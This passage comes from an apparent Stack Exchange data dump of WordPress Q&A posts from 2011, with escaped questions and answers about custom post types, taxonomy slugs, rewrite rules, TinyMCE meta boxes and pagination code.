return apply_filters( 'taco-party', $salsa );&#xA;}&#xA;function hot_salsa() {&#xA;    $salsa = true;&#xA;    return $salsa;&#xA;}&#xA;add_filter( 'taco-party', 'hot_salsa' );&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's not just the time required to check for the &lt;em&gt;existence&lt;/em&gt; of the function or filter, but rather the time required to &lt;em&gt;do something&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="3966" LastEditorUserId="3966" LastEditorDisplayName="" LastEditDate="2011-06-24T21:06:44.753" LastActivityDate="2011-06-24T21:06:44.753" CommentCount="3" />
  <row Id="20951" PostTypeId="1" AcceptedAnswerId="21015" CreationDate="2011-06-24T15:03:01.430" Score="0" ViewCount="52" Body="&lt;p&gt;I have a custom post type called &quot;cpt_docs&quot;:&#xA;add_action( 'init', 'create_post_type' );&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function create_post_type() {&#xA;    register_post_type( 'cpt_docs',&#xA;        array(&#xA;            'labels' =&amp;gt; array(&#xA;                'name' =&amp;gt; __( 'Docs' ),&#xA;                'singular_name' =&amp;gt; __( 'Doc' )&#xA;            ),&#xA;        'public' =&amp;gt; true,&#xA;        'has_archive' =&amp;gt; true,&#xA;        )&#xA;    );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have tabs with months and i want to show the &quot;docs&quot; for that month.&#xA;I need to show the custom post types in the home page, bu i dont how can i do that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should i use a hard coded sql query or there is another way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thk all.&lt;/p&gt;&#xA;" OwnerUserId="1484" LastActivityDate="2011-06-25T12:03:10.033" Title="show custom post types for a month" Tags="&lt;custom-post-types&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="20952" PostTypeId="1" AcceptedAnswerId="20957" CreationDate="2011-06-24T15:10:02.580" Score="0" ViewCount="102" Body="&lt;p&gt;I am experiencing problems with custom post types, taxonomies, permalinks and rewrites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a custom &quot;recipes&quot; post type and taxonomy using this code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action('init', 'recipes_register');&#xA;function recipes_register() {&#xA;$labels = array(&#xA; 'name' =&amp;gt; __('Recipes', 'framework'),&#xA; 'singular_name' =&amp;gt; __('Recipe', 'framework'),&#xA; 'add_new' =&amp;gt; __('Add Recipe', 'framework'),&#xA; 'add_new_item' =&amp;gt; __('Add New Recipe', 'framework'),&#xA; 'edit_item' =&amp;gt; __('Edit Recipe', 'framework'),&#xA; 'new_item' =&amp;gt; __('New Recipe', 'framework'),&#xA; 'view_item' =&amp;gt; __('View Recipe', 'framework'),&#xA; 'search_items' =&amp;gt; __('Search Recipe', 'framework'),&#xA; 'not_found' =&amp;gt;  __('Nothing found', 'framework'),&#xA; 'not_found_in_trash' =&amp;gt; __('Nothing found in Trash', 'framework'),&#xA; 'parent_item_colon' =&amp;gt; ''&#xA;);&#xA;$args = array(&#xA; 'labels' =&amp;gt; $labels,&#xA; 'public' =&amp;gt; true,&#xA; 'publicly_queryable' =&amp;gt; true,&#xA; 'show_ui' =&amp;gt; true,&#xA; 'query_var' =&amp;gt; true,&#xA; 'menu_icon' =&amp;gt; get_stylesheet_directory_uri() . '/img/admin-recipes.png',&#xA; 'rewrite' =&amp;gt; true,&#xA; 'capability_type' =&amp;gt; 'post',&#xA; 'hierarchical' =&amp;gt; true,&#xA; 'menu_position' =&amp;gt; null,&#xA; 'supports' =&amp;gt; array('title','editor','thumbnail','comments'),&#xA;  ); &#xA;register_post_type( 'recipes' , $args );&#xA;}&#xA;&#xA;register_taxonomy('recipe_type', array('recipes'), array('hierarchical' =&amp;gt; true, 'label' =&amp;gt; __('Recipe Type', 'framework'), 'rewrite' =&amp;gt; array('hierarchical' =&amp;gt; true, 'slug'=&amp;gt;'recipes')));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem occurs when I want to access to custom type post with this type of URL, it throws a 404 error :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://my-website/recipes/name-of-the-recipe/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the problem is caused because I want to use the same slug for the taxonomy &quot;recipe_type&quot; and the &quot;recipe&quot; custom post type.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am a bit stuck on this and I would be grateful if you could help me with this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="6476" LastActivityDate="2011-06-24T15:41:33.757" Title="Problem with custom post types, taxonomy and permalinks" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;taxonomy&gt;" AnswerCount="1" />
  <row Id="20953" PostTypeId="2" ParentId="299" CreationDate="2011-06-24T15:16:33.917" Score="0" ViewCount="" Body="&lt;p&gt;nextgen does do a nice job, but it can be overkill....and i don't like the way it handles columns via custom fields.  i'm still waiting for a plugin that lets you tick a few boxes in the media manager, and auto pulls those selected images into a gallery... versus relying on the attached images.  the gallery shortcode has incldue and exclude params built in but they need better integration with the media manager.  i only just learned about them, so no way would i expect my clients to know how to use that.  &lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-06-24T15:16:33.917" CommunityOwnedDate="2011-06-24T15:16:33.917" />
  <row Id="20954" PostTypeId="2" ParentId="17662" CreationDate="2011-06-24T15:33:09.457" Score="1" ViewCount="" Body="&lt;p&gt;Just a heads up on having your plugin create files/folders: my plugin did that as well, and I ran into a slew of issues with file permissions for different users.  Some are windows, some are unix, some are hosted, and some home grown. It was my #1 support email once I shared the plugin.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have refactored my code to minimize the need to touch the file systems and the upload directory is the ONLY one I use now to avoid such issues.&lt;/p&gt;&#xA;" OwnerUserId="6479" LastActivityDate="2011-06-24T15:33:09.457" CommentCount="1" />
  <row Id="20955" PostTypeId="1" AcceptedAnswerId="20961" CreationDate="2011-06-24T15:35:04.873" Score="0" ViewCount="44" Body="&lt;p&gt;Imagine this: I have a custom post type called 'Animals' and I have registered a taxonomy for this post type called 'Types of Animal'. 'Types of Animal' would be 'dog', 'cat' and 'mouse' and so on. So that's straightforward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But say I want to introduce child taxonomies based on the value of the Types of Animal taxonomy. I can use the fact that the taxonomy is hierarchical but if Types of Animal contained 100 terms with 50 possible sub-terms, that makes for a big mess when I'm editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what I'd like to do is display a child taxonomy, say 'Breeds', when the editor selects 'dog' in the 'Types of Animal' taxonomy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could use tags but I'm afraid of the margin of error inputting tags. I would rather that editors had to check a box.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to display a child/secondary taxonomy dynamically in this way?&lt;/p&gt;&#xA;" OwnerUserId="6478" LastActivityDate="2011-06-24T16:21:24.363" Title="Displaying child taxonomies" Tags="&lt;custom-post-types&gt;&lt;taxonomy&gt;&lt;multi-taxonomy-query&gt;" AnswerCount="1" />
  <row Id="20956" PostTypeId="1" AcceptedAnswerId="20964" CreationDate="2011-06-24T15:37:23.040" Score="1" ViewCount="180" Body="&lt;p&gt;Firstly please allow me to apologise - my fourth question in the week that I've been here! You've all been very helpful though, which is why I keep coming back..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm trying to put together a custom post type which doesn't utilise the 'editor'. There is a lot of input fields on the page and most of them will need a custom TinyMCE editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have meta boxes with textareas. I've tried the following code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;    jQuery(document).ready(function() {&#xA;        jQuery(&quot;#etymology&quot;).addClass(&quot;mceEditor&quot;);&#xA;        if ( typeof( tinyMCE ) == &quot;object&quot; &amp;amp;&amp;amp;&#xA;        typeof( tinyMCE.execCommand ) == &quot;function&quot; ) {&#xA;            tinyMCE.execCommand(&quot;mceAddControl&quot;, false, &quot;etymology&quot;);&#xA;        }&#xA;    });&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;with...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if (function_exists('wp_tiny_mce')) {&#xA;&#xA;        add_filter('teeny_mce_before_init', create_function('$a', '&#xA;            $a[&quot;theme&quot;] = &quot;advanced&quot;;&#xA;            $a[&quot;skin&quot;] = &quot;wp_theme&quot;;&#xA;            $a[&quot;height&quot;] = &quot;75&quot;;&#xA;            $a[&quot;theme_advanced_buttons1&quot;] = &quot;bold, italic, pastetext, pasteword,&#xA;                bullist, numlist, link, unlink, outdent, indent, charmap, removeformat, spellchecker, fullscreen&quot;;&#xA;&#xA;            return $a;'));&#xA;&#xA;        wp_tiny_mce(true);&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;They don't seem to work together. The TinyMCE editor appears on the right element but it's just the default WP editor, not the settings I've tried to implement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my three questions are...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 1&lt;/strong&gt;&#xA;When using meta boxes for custom post types, what's the best (by best I probably mean most flexible and integrated and least &quot;hacky&quot;) way to add a custom TinyMCE editor to multiple elements?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 2&lt;/strong&gt;&#xA;A follow on from Question 1... How do I go about adding custom buttons to such a setup?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Question 3&lt;/strong&gt;&#xA;Is it possible to change the minimum height of the TinyMCE editor? It seems to be force-capped at 100px.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My research and attempts at making this work appear to indicate that WordPress' built in TinyMCE functions won't do the job. Might it be best for me to make this completely bespoke, i.e. deregister the existing tinyMCE scripts and register my own? If so, is it possible to only do this on my custom post type pages?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance, apologies for the essay!&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;MAJOR EDIT - QUESTIONS 1 &amp;amp; 2 RESOLVED&lt;/strong&gt;&#xA;OK, courtesy of Martin's post (and Mike's code!) I've managed to set up multiple textareas with custom buttons:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function meta_genus_species() {&#xA;    global $post;&#xA;&#xA;    $genus = get_post_custom_values( 'genus', $post-&amp;gt;ID );&#xA;    $species = get_post_custom_values( 'species', $post-&amp;gt;ID );&#xA;    $etymology = get_post_custom_values( 'etymology', $post-&amp;gt;ID );&#xA;    $family = get_post_custom_values( 'family', $post-&amp;gt;ID );&#xA;    $common_names = get_post_custom_values( 'common_names', $post-&amp;gt;ID );&#xA;&#xA;    if (!isset($id)) { $id = &quot;etymology&quot;; }&#xA;    if (!isset($temp_min)) { $temp_min = plugins_url('images/temp_max.png' , __FILE__); }&#xA;    if (!isset($temp_max)) { $temp_max = plugins_url('images/temp_min.png' , __FILE__); }&#xA;    if (!isset($pH_min)) { $pH_min = plugins_url('images/pH_max.png' , __FILE__); }&#xA;    if (!isset($pH_max)) { $pH_max = plugins_url('images/pH_max.png' , __FILE__); }&#xA;&#xA;$tinyMCE = &amp;lt;&amp;lt;&amp;lt;EOT&#xA;    &amp;lt;script type=&quot;text/javascript&quot;&amp;gt;&#xA;        jQuery(document).ready(function($) {&#xA;            $(&quot;#{$id}&quot;).addClass(&quot;mceEditor&quot;);&#xA;            if ( typeof( tinyMCE ) == &quot;object&quot; &amp;amp;&amp;amp;&#xA;                 typeof( tinyMCE.execCommand ) == &quot;function&quot; ) {&#xA;              tinyMCE.settings = {&#xA;                theme : &quot;advanced&quot;,&#xA;                mode : &quot;none&quot;,&#xA;                language : &quot;en&quot;,&#xA;                height:&quot;75&quot;,&#xA;                width:&quot;100%&quot;,&#xA;                theme_advanced_layout_manager : &quot;SimpleLayout&quot;,&#xA;                theme_advanced_toolbar_location : &quot;top&quot;,&#xA;                theme_advanced_toolbar_align : &quot;left&quot;,&#xA;                theme_advanced_buttons1 : &quot;bold,italic,underline,strikethrough,|,justifyleft,justifycenter,justifyright,justifyfull,|,temp_min,temp_max,pH_min,pH_max&quot;,&#xA;                theme_advanced_buttons2 : &quot;&quot;,&#xA;                theme_advanced_buttons3 : &quot;&quot;,&#xA;                setup : function(ed) {&#xA;                    ed.addButton('temp_min', {&#xA;                        title : 'Temperature: Minimum',&#xA;                        image : '{$temp_min}',&#xA;                        onclick : function() {&#xA;                            ed.focus();&#xA;                            ed.selection.setContent('[temp_min]');&#xA;                        }&#xA;                    }),&#xA;                    ed.addShortcut(&quot;ctrl+1&quot;, &quot;temp_min&quot;, &quot;temp_min&quot;),&#xA;                    ed.addButton('temp_max', {&#xA;                        title : 'Temperature: Maximum',&#xA;                        image : '{$temp_max}',&#xA;                        onclick : function() {&#xA;                            ed.focus();&#xA;                            ed.selection.setContent('[temp_max]');&#xA;                        }&#xA;                    }),&#xA;                    ed.addButton('pH_min', {&#xA;                        title : 'pH: Minimum',&#xA;                        image : '{$pH_min}',&#xA;                        onclick : function() {&#xA;                            ed.focus();&#xA;                            ed.selection.setContent('[pH_min]');&#xA;                        }&#xA;                    }),&#xA;                    ed.addButton('pH_max', {&#xA;                        title : 'pH: Maximum',&#xA;                        image : '{$pH_max}',&#xA;                        onclick : function() {&#xA;                            ed.focus();&#xA;                            ed.selection.setContent('[pH_max]');&#xA;                        }&#xA;                    });&#xA;                }&#xA;              };&#xA;              tinyMCE.execCommand(&quot;mceAddControl&quot;, true, &quot;{$id}&quot;);&#xA;            }&#xA;        });&#xA;    &amp;lt;/script&amp;gt;&#xA;EOT;&#xA;    echo $tinyMCE;&#xA;&#xA;    ?&amp;gt;&#xA;&amp;lt;div class=&quot;meta_control normal&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Description of taxonomy.&amp;lt;/p&amp;gt;&#xA;    &amp;lt;div class=&quot;box&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;Genus&amp;lt;/label&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;input name=&quot;genus&quot; class=&quot;text&quot; value=&quot;&amp;lt;?php if(isset($genus[0])) { echo esc_attr( $genus[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;span&amp;gt;Testing...&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;div class=&quot;box&quot;&amp;gt;&#xA;        &amp;lt;label&amp;gt;Species&amp;lt;/label&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;            &amp;lt;input name=&quot;species&quot; class=&quot;text&quot;  value=&quot;&amp;lt;?php if(isset($species[0])) { echo esc_attr( $species[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;            &amp;lt;span&amp;gt;Testing...&amp;lt;/span&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Etymology&amp;lt;/label&amp;gt;&#xA;        &amp;lt;textarea cols=&quot;50&quot; rows=&quot;5&quot; name=&quot;etymology&quot; id=&quot;etymology&quot;&amp;gt;&amp;lt;?php if(isset($etymology[0])) { echo esc_attr( $etymology[0] ); } ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;span&amp;gt;Description&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Family&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;family&quot; class=&quot;text&quot;  value=&quot;&amp;lt;?php if(isset($family[0])) { echo esc_attr( $family[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;span&amp;gt;Description&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;label&amp;gt;Common Names&amp;lt;/label&amp;gt;&#xA;        &amp;lt;input name=&quot;common_names&quot; class=&quot;text&quot;  value=&quot;&amp;lt;?php if(isset($common_names[0])) { echo esc_attr( $common_names[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;span&amp;gt;Description&amp;lt;/span&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;&#xA;}&#xA;&#xA;function meta_authored() {&#xA;    global $post;&#xA;&#xA;    $species_author = get_post_custom_values( 'species_author', $post-&amp;gt;ID );&#xA;    $year_described = get_post_custom_values( 'year_described', $post-&amp;gt;ID );&#xA;&#xA;    ?&amp;gt;&#xA;&amp;lt;div class=&quot;meta_control side&quot;&amp;gt;&#xA;    &amp;lt;label&amp;gt;Species Author&amp;lt;/label&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input name=&quot;species_author&quot; class=&quot;text&quot; value=&quot;&amp;lt;?php if(isset($species_author[0])) { echo esc_attr( $species_author[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;    &amp;lt;label&amp;gt;Year Described&amp;lt;/label&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;        &amp;lt;input name=&quot;year_described&quot; class=&quot;text&quot; value=&quot;&amp;lt;?php if(isset($year_described[0])) { echo esc_attr( $year_described[0] ); } ?&amp;gt;&quot; /&amp;gt;&#xA;    &amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;    &amp;lt;?php&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am absolutely over the moon! I've been working SO hard to find that information. Thank you ever so much Martin :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Just Question 3 to answer now!&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="6344" LastEditorUserId="6344" LastEditorDisplayName="" LastEditDate="2011-06-24T18:50:20.580" LastActivityDate="2011-06-24T18:50:20.580" Title="TinyMCE with custom buttons on a meta box" Tags="&lt;metabox&gt;&lt;tinymce&gt;&lt;plugin-tinymce&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="20957" PostTypeId="2" ParentId="20952" CreationDate="2011-06-24T15:41:33.757" Score="3" ViewCount="" Body="&lt;p&gt;your custom post type will likely work if you visit your permalinks page and save, which forces a flush of the rewrite rules. however, you probably won't be able to get the taxonomy to work using the same slug, custom post types seem to supersede taxonomies if they share a slug. anyway, it would probably be a big performance hit even if it did work, WP would have to generate a rewrite rule for every term or post you create, or look in two different places for every request.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;also- your &lt;code&gt;register_taxonomy&lt;/code&gt; should be wrapped in a function that gets called on init, like your &lt;code&gt;recipes_register&lt;/code&gt; function.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-24T15:41:33.757" />
  <row Id="20958" PostTypeId="1" CreationDate="2011-06-24T15:47:39.310" Score="1" ViewCount="106" Body="&lt;p&gt;I need to create a webpage for the book store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For now I need to create several static web pages and one page with list of products. I don't know how to create this list, I don't need any shopping carts and payments. Just plain products list with separate page for each product. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also can consider commercial plugins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestions!&lt;/p&gt;&#xA;" OwnerUserId="6439" LastActivityDate="2011-07-24T22:28:13.090" Title="Create a simple shop's website with products list" Tags="&lt;plugin-recommendation&gt;" AnswerCount="2" />
  <row Id="20959" PostTypeId="2" ParentId="20958" CreationDate="2011-06-24T15:57:21.753" Score="1" ViewCount="" Body="&lt;p&gt;Install the &lt;a href=&quot;http://wordpress.org/extend/plugins/custom-post-type-ui/&quot; rel=&quot;nofollow&quot;&gt;Custom Post Type UI plugin&lt;/a&gt; and create a &lt;code&gt;Product&lt;/code&gt; &lt;a href=&quot;http://codex.wordpress.org/Post_Types#Custom_Types&quot; rel=&quot;nofollow&quot;&gt;custom post type&lt;/a&gt;. You can then create separate templates in your theme to display your products archive and posts.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-24T15:57:21.753" />
  <row Id="20960" PostTypeId="2" ParentId="20958" CreationDate="2011-06-24T16:00:33.777" Score="0" ViewCount="" Body="&lt;p&gt;You may want to investigate the &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-retail-menus/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Simple Retail Menus&lt;/strong&gt;&lt;/a&gt; plugin in the WordPress repository.  I haven't tried it yet, but it may be what you need.&lt;/p&gt;&#xA;" OwnerUserId="2709" LastActivityDate="2011-06-24T16:00:33.777" />
  <row Id="20961" PostTypeId="2" ParentId="20955" CreationDate="2011-06-24T16:21:24.363" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at this tutorial for a possible solution: &lt;a href=&quot;http://www.farinspace.com/show-hide-meta-box-by-category/&quot; rel=&quot;nofollow&quot;&gt;How To Show/Hide WordPress Meta Boxes By Selecting Categories&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, all of the taxonomies would be hidden via javascript, and a function attached to the click event of the Animals taxonomy, which inspects the selected item's ID to show a corresponding child taxonomy. You'd also have to have a bit of logic on page load to show the taxonomies with terms that are already selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are potential problems though - what happens if someone deselects &quot;dog&quot;, but not any child terms?&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-06-24T16:21:24.363" CommentCount="1" />
  <row Id="20962" PostTypeId="1" CreationDate="2011-06-24T16:29:17.340" Score="1" ViewCount="81" Body="&lt;p&gt;I've been carefully trying to reproduce any/all of the solutions listed on this StackExchange, but am having no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have placed the following code at the top of functions.php (taken from &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5413/need-help-with-add-rewrite-rule&quot;&gt;this extremely helpful question&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'init', 'wpa5413_init' );&#xA;function wpa5413_init()&#xA;{&#xA;    // Remember to flush the rules once manually after you added this code!&#xA;    add_rewrite_rule(&#xA;        // The regex to match the incoming URL&#xA;        'designers/([^/]+)/?',&#xA;        // The resulting internal URL: `index.php` because we still use WordPress&#xA;        // `pagename` because we use this WordPress page&#xA;        // `designer_slug` because we assign the first captured regex part to this variable&#xA;        'index.php?pagename=designers&amp;amp;designer_slug=$matches[1]',&#xA;        // This is a rather specific URL, so we add it to the top of the list&#xA;        // Otherwise, the &quot;catch-all&quot; rules at the bottom (for pages and attachments) will &quot;win&quot;&#xA;        'top' );&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And after flushing permalinks in Admin, I have placed &lt;code&gt;&amp;lt;?php global $wp_rewrite; print_r ($wp_rewrite-&amp;gt;rules); ?&amp;gt;&lt;/code&gt; in my header.php just to verify that the rewrite rule has been added. It is not present. A text search for &quot;designer&quot; yields nothing at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've also tried the action hook and the filter hook approach:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wp_rewrite; $wp_rewrite-&amp;gt;flush_rules(false);&#xA;add_action('generate_rewrite_rules', 'generate_quote_rewrite_rules');&#xA;function generate_quote_rewrite_rules($wp_rewrite){&#xA;    $new_rules = array('random_quote/(\d+)/?$' =&amp;gt; 'index.php?zgquote=$matches[1]');&#xA;    $wp_rewrite-&amp;gt;rules = $new_rules + $wp_rewrite-&amp;gt;rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And again, &quot;random_quote&quot; is nowhere to be found in my dump of the wp rewrite rules.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And I've tried this method as well:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('rewrite_rules_array','generate_quote_rewrite_rules');&#xA;function generate_quote_rewrite_rules($rules){&#xA;    $new_rules = array('random_quote/(\d+)/?$' =&amp;gt; 'index.php?zgquote=$matches[1]');&#xA;    return $new_rules + $rules;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What gives? I've tried all the methods documented in the Codex as well as here on the site - I've wrapped these inside init actions and also bare on functions.php. Nothing seems to be working. I'm sure this problem is the same as &lt;a href=&quot;http://wordpress.stackexchange.com/questions/20946/why-do-my-custom-query-vars-in-my-url-not-end-up-in-wp-query-query-vars&quot;&gt;my related question with query vars&lt;/a&gt; - neither of these well-documented approaches seem to be working in my case. What could possibly be interfering?&lt;/p&gt;&#xA;" OwnerUserId="3687" LastActivityDate="2011-06-24T16:29:17.340" Title="Why is my rewrite rule not being added to $wp_rewrite-&gt;rules?" Tags="&lt;rewrite-rules&gt;" CommentCount="1" />
  <row Id="20963" PostTypeId="1" AcceptedAnswerId="20995" CreationDate="2011-06-24T16:38:12.747" Score="1" ViewCount="92" Body="&lt;p&gt;I have a load of images - up to 16 per post plus a thumbnail and a logo. I want to figure out what the best way to handle them is. Since I'll be adding new entries quite regularly the number of images in the default uploads directory will get quite large.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something I should be concerned about? As far as load times etc. I was going to create a co-gallery post type and attach the gallery images to this post type. Then set the gallery id on the Company edit page ( different post type ) to which the gallery belongs. A little code and I have an image gallery.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or should I consider ( ad figure out how to ) uploading the images to a completely separate location/directory? Would doing this be worth the effort and is it really beneficial?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanx for your help.&lt;/p&gt;&#xA;" OwnerUserId="5391" LastActivityDate="2011-06-25T15:33:45.697" Title="How to handle large number of images in a post?" Tags="&lt;custom-post-types&gt;&lt;images&gt;" AnswerCount="2" />
  <row Id="20964" PostTypeId="2" ParentId="20956" CreationDate="2011-06-24T16:41:02.063" Score="1" ViewCount="" Body="&lt;p&gt;would this be heading in the right direction?.. &lt;a href=&quot;http://wordpress.stackexchange.com/questions/436/is-there-a-way-to-get-n-number-of-wysiwyg-editors-in-a-custom-post-type&quot;&gt;See Mikes Code&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3710" LastActivityDate="2011-06-24T16:41:02.063" CommentCount="3" />
  <row Id="20965" PostTypeId="1" AcceptedAnswerId="20980" CreationDate="2011-06-24T16:53:28.560" Score="0" ViewCount="175" Body="&lt;p&gt;I'm using the code below to create pagination for my post results, it works fine but is it possible to add a &quot;view all posts on one page&quot; button to the pagination?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would presumably override the pagination code and just display everything all posts on one page.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function numeric_pagination ($pageCount = 9, $query = null) {&#xA;&#xA;if ($query == null) {&#xA;    global $wp_query;&#xA;    $query = $wp_query;&#xA;}&#xA;&#xA;if ($query-&amp;gt;max_num_pages &amp;lt;= 1) {&#xA;    return;&#xA;}&#xA;&#xA;$pageStart = 1;&#xA;$paged = $query-&amp;gt;query_vars['paged'];&#xA;&#xA;// set current page if on the first page&#xA;if ($paged == null) {&#xA;    $paged = 1;&#xA;}&#xA;&#xA;// work out if page start is halfway through the current visible pages and if so     move it accordingly&#xA;if ($paged &amp;gt; floor($pageCount / 2)) {&#xA;    $pageStart = $paged - floor($pageCount / 2);&#xA;}&#xA;&#xA;if ($pageStart &amp;lt; 1) {&#xA;    $pageStart = 1;&#xA;}&#xA;&#xA;// make sure page start is &#xA;if ($pageStart + $pageCount &amp;gt; $query-&amp;gt;max_num_pages) {&#xA;    $pageCount = $query-&amp;gt;max_num_pages - $pageStart;&#xA;}&#xA;&#xA;?&amp;gt;&#xA;&amp;lt;div id=&quot;pagination&quot;&amp;gt;&#xA;&amp;lt;?php&#xA;if ($paged != 1) {&#xA;?&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo get_pagenum_link(1); ?&amp;gt;&quot; class=&quot;numbered page-number-first&quot;&amp;gt;  &amp;lt;span&amp;gt;&amp;amp;lsaquo; &amp;lt;?php _e('Newest', 'rhinoplasty'); ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;?php&#xA;}&#xA;// first page is not visible...&#xA;if ($pageStart &amp;gt; 1) {&#xA;    //echo 'previous';&#xA;}&#xA;for ($p = $pageStart; $p &amp;lt;= $pageStart + $pageCount; $p ++) {&#xA;    if ($p == $paged) {&#xA;?&amp;gt;&#xA;    &amp;lt;span class=&quot;numbered page-number-&amp;lt;?php echo $p; ?&amp;gt; current-numeric-page&quot;&amp;gt;&amp;lt;?    php echo $p; ?&amp;gt;&amp;lt;/span&amp;gt;&#xA;&amp;lt;?php } else { ?&amp;gt;&#xA;    &amp;lt;a href=&quot;&amp;lt;?php echo get_pagenum_link($p); 